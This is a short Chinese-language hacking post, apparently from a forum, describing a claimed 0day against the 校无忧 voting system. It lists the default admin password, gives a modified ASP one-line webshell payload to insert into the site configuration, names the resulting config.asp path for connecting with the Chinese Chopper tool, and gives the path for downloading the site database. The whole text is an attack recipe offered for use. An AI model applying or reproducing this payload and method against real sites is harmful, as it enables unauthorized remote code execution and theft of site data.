校无忧投票系统利用0day

后台拿shell的方法呢，

 

在网站配置的地方插入一句话，这个普通的一句话是不能用的要用变异的一句话，插入，测试成功

 

一句话：

 

view source

print?

1 "%><%execute(request("xiaoma"))%><%'

嘿嘿，这个是变异的，普通的不能用哦

默认帐号密码：admin 

这个通杀率很高，实在不行我们可一下载数据库

数据库地址：data/xiao5u.mdb

插入一句话以后。菜刀连接

 

www.xx.com/inc/config.asp